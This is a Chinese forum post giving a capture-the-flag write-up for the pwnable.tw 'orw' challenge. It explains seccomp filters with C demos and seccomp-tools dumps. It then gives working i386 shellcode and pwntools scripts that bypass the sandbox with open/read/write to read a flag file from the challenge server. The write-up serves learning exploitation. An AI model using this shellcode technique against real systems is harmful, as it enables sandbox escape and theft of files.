dreamingctf 发表于 2022-3-19 11:18

pwnable.tw - orw - 自定义shellcode

一句话题解:由于 seccomp 函数,被 system、execve 等函数 ban 了,需要用 open、read、write 函数把 flag 读取出来

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x80480000x8049000 r-xp   1000 0 orw
0x80490000x804a000 r-xp   10 orw
0x804a0000x804b000 rwxp   1000 100orw

分析程序是直接上 shellcode,使用 shellcraft.sh(),上 gdb 调试,发现能收到命令,但是命令不执行

seccomp 学习的相关链接
https://www.anquanke.com/post/id/208364#h2-0

https://blog.csdn.net/ATOOHOO/article/details/88957596
https://blog.csdn.net/Necrolic/article/details/106009382

#include <stdio.h>
int main(){
    char * filename = "/bin/sh";
    char * argv[] = {"/bin/sh", NULL};
    char * envp[] = {NULL};
    write(1, "A Shell.\n", 24);
    //execve
    syscall(59, filename, argv, envp);
    return 0;
}

#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

int main(){
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);
    char * filename = "/bin/sh";
    char * argv[] = {"/bin/sh", NULL};
    char * envp[] = {NULL};
    write(1, "A Shell.\n", 24);
    //execve
    syscall(59, filename, argv, envp);
    return 0;
}


编译命令
gcc A.c -o A -l seccomp

运行结果
./syscall
A Shell.
;<$ ls
ex_prctlex_prctl.cseccomp_exampleseccomp_example.csyscallsyscall.c
$ ^Z^C
$ exit

./syscall_seccomp
A Shell.
;<Bad system call
说明本来可以用的 execve 函数被 ban 了


seccomp-tools 逆向工具相关链接
https://github.com/david942j/seccomp-tools

sudo seccomp-tools dump syscall_seccomp
lineCODEJT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004A = arch
0001: 0x15 0x00 0x05 0xc000003eif (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000A = sys_number
0003: 0x35 0x00 0x01 0x40000000if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffffif (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003bif (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000return ALLOW
0007: 0x06 0x00 0x00 0x00000000return KILL

seccomp-tools dump orw
lineCODEJT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004A = arch
0001: 0x15 0x00 0x09 0x40000003if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000A = sys_number
0003: 0x15 0x07 0x00 0x000000adif (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fcif (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000return ALLOW


根据这个工具提供的信息,这个题可用的函数是 open、read、write
需要用这几个系统调用自定义一个读取 flag 的函数
题目 writeup 相关链接
https://www.jianshu.com/p/d14b42d96cac
https://www.cnblogs.com/unlookup/p/15337570.html
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/




所以,顺序应该是:用 open 打开该文件的描述符,用 read 函数打开该文件读取到 buffer,用 write 函数输出到屏幕

#define __NR_read 3
#define __NR_write 4
#define __NR_open 5

sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可


sys_read 系统调用传递的四个寄存器参数即具体实现:


eax = 0x03系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count字节数


sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04系统调用号
ebx = fd文件指针,置为1,打印到屏幕
ecx = buf缓冲区,指向栈顶
edx = count


open 函数
xor eax,eax
push eax;"\0\0\0\0"
push 0x67616c66;"flag"
push 0x2f2f2f77;"w///"
push 0x726f2f65;"e/or"
push 0x6d6f682f;"/hom"
mov ebx,esp;esp is the address of "home/orw///flag"
mov al,5;__NR_open
int 0x80


read 函数
mov ebx,eax;调用open之后,返回值(flag文件fd)存在了eax中
mov ecx,esp;esp作为写入的起始处
xor edx,edx
mov dl,0x80;len
mov al,3;__NR_read
int 0x80;


write 函数
xor ebx,ebx
mov bl,1;stdout
mov al,4;__NR_write
int 0x80

from pwn import *

context(os='linux',arch='i386')

io = remote('chall.pwnable.tw',10001)
#io = process("./orw")

#open
open_code = 'xor eax,eax\n'
open_code += 'push eax\n'
open_code += 'push ' + str(int.from_bytes(b"flag", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"w///", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"e/or", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"/hom", 'little')) + '\n'
#open_code += 'push 0x67616c66\n'
#open_code += 'push 0x2f2f2f77\n'
#open_code += 'push 0x726f2f65\n'
#open_code += 'push 0x6d6f682f\n'
open_code += 'mov ebx,esp\n'
open_code += 'xor ecx,ecx\n'
open_code += 'mov al,5\n'
open_code += 'int 0x80\n'

#read
read_code = 'mov ebx,eax\n'
read_code += 'mov ecx,esp\n'
read_code += 'xor edx,edx\n'
read_code += 'mov dl,0x80\n'
read_code += 'mov al,3\n'
read_code += 'int 0x80\n'

#write
write_code = 'xor ebx,ebx\n'
write_code += 'mov bl,1\n'
write_code += 'mov al,4\n'
write_code += 'int 0x80'

shellcode = open_code + read_code + write_code

io.sendline(asm(shellcode))
io.interactive()


偷懒写法是这样的
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context(os = 'linux', arch = 'i386')
io = process("./orw")

payload = shellcraft.i386.pushstr("/home/orw/flag")
payload += shellcraft.i386.linux.syscall("SYS_open", "esp")
payload += shellcraft.i386.linux.syscall("SYS_read", "eax", "esp", 0x30)
payload += shellcraft.i386.linux.syscall("SYS_write", 1, "esp", 0x30)

io.recvuntil(":")
io.sendline(asm(payload))
io.interactive()

这里要注意,在本地测试的时候,本地要有 /home/orw/flag 这个文件的

一斗福 发表于 2022-3-19 13:12

谢谢 受益匪浅

tencentma 发表于 2022-3-19 13:17

这个教程写的详细,楼主有心
页: [1]
查看完整版本: pwnable.tw - orw - 自定义shellcode